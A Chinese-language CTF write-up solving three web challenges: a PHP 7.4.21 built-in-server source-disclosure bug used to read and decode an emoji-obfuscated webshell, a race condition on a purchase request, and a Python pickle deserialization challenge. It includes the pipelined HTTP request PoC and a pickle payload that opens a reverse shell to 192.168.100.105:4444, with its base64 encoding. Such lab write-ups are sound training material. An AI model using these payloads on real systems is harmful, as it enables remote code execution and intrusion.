emowebshell (php7.4.21版本漏洞)
非预期
题目提示webshell,就直接尝试一下常见的后门命名的规则
如
shell.php
这里运气比较好,可以直接shell.php就出来
要是不想这样尝试的话,也可以直接dirsearch进行目录爆破
然后在phpinfo中直接搜素ctf或者flag就可以看到flag了
php存在后门版本
之前做过一个类似的题,也是讲php后门版本为切入点的,那个php的版本为 8.x
参考文章:
https://blog.csdn.net/Shadow_DAI_990101/article/details/126772748
现在的php版本是 7.4.21
直接百度查找相关的php漏洞
https://blog.csdn.net/Kawakaze_JF/article/details/133046885
php 7.4.21存在源码泄露漏洞
poc
GET /phpinfo.php HTTP/1.1 //这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx
GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件
上面的payload注意要换行
然后用bp读取shell.php的源码
可以看到上面的变量赋值不完整,应该是读取不齐,存在不可见字符
可以讲十六进制的数组复制到十六进制编辑器中进行转码
如图
根据这些emj,直接就可以rce了
直接复制变量就可
getshell
GOGOGO(条件竞争)
条件竞争
点击开始
点击购买时抓包
然后,抓取一个start和一个buy1的数据,进行条件竞争
demo1 (pickle反序列化)
考点是pickle反序列化
打开界面是一个login页面,随便输入一些数据
页面返回
这样可以随便登录进来,那题目的要求应该是以某种身份进行尝试登录
查看源代码发现提示,要以admin用户进行登录
用bp抓包的分析得到data数据
看起来像是base64编码,解码后
因为几乎没怎么做过python的pickle反序列化,直接就把base64编码出来的数据进行百度,然后就可以看到相关的文章,对应得上,就可以知道是pickle反序列化
看了一些文章
https://xz.aliyun.com/t/11807?time__1311=mqmx0DBD90qWqGNqeeqBKfrxA2ixu7lOhYD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DJa8oqhAcZnxX4KLx3CkLkl50Dt_BV9N2UL8DsRp8dLuiGNG6mkln6bl5vMsZNPOW%26wd%3D%26eqid%3D9cf6c4ab00b2125f0000000665f64afd
当时的思路是想着如何覆盖username=admin
但是没有成功
当时一直被一个没有app模块所阻挡了
当时,这里也卡住了,被waf过滤了admin
看了wp后,这里将admin进行了unicode编码绕过admin
解法二:
居然存在pickle反序列化,看到网上的payload,那就直接反弹shell试一下
这里用了很多的现成payload都不行,不知道为什么
参考wp
import base64
import pickle
opcode = b'''(S'python -c 'import
os,pty,socket;s=socket.socket();s.connect(("192.168.100.105", 4444));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")''
ios
system
.'''
print(base64.b64encode(opcode))
'''
KFMncHl0aG9uIC1jICdpbXBvcnQgb3MscHR5LHNvY2tldDtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3
QoKCIxOTIuMTY4LjEwMC4xMDUiLCA0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAs
MSwyKV07cHR5LnNwYXduKCIvYmluL3NoIiknJwppb3MKc3lzdGVtCi4=
'''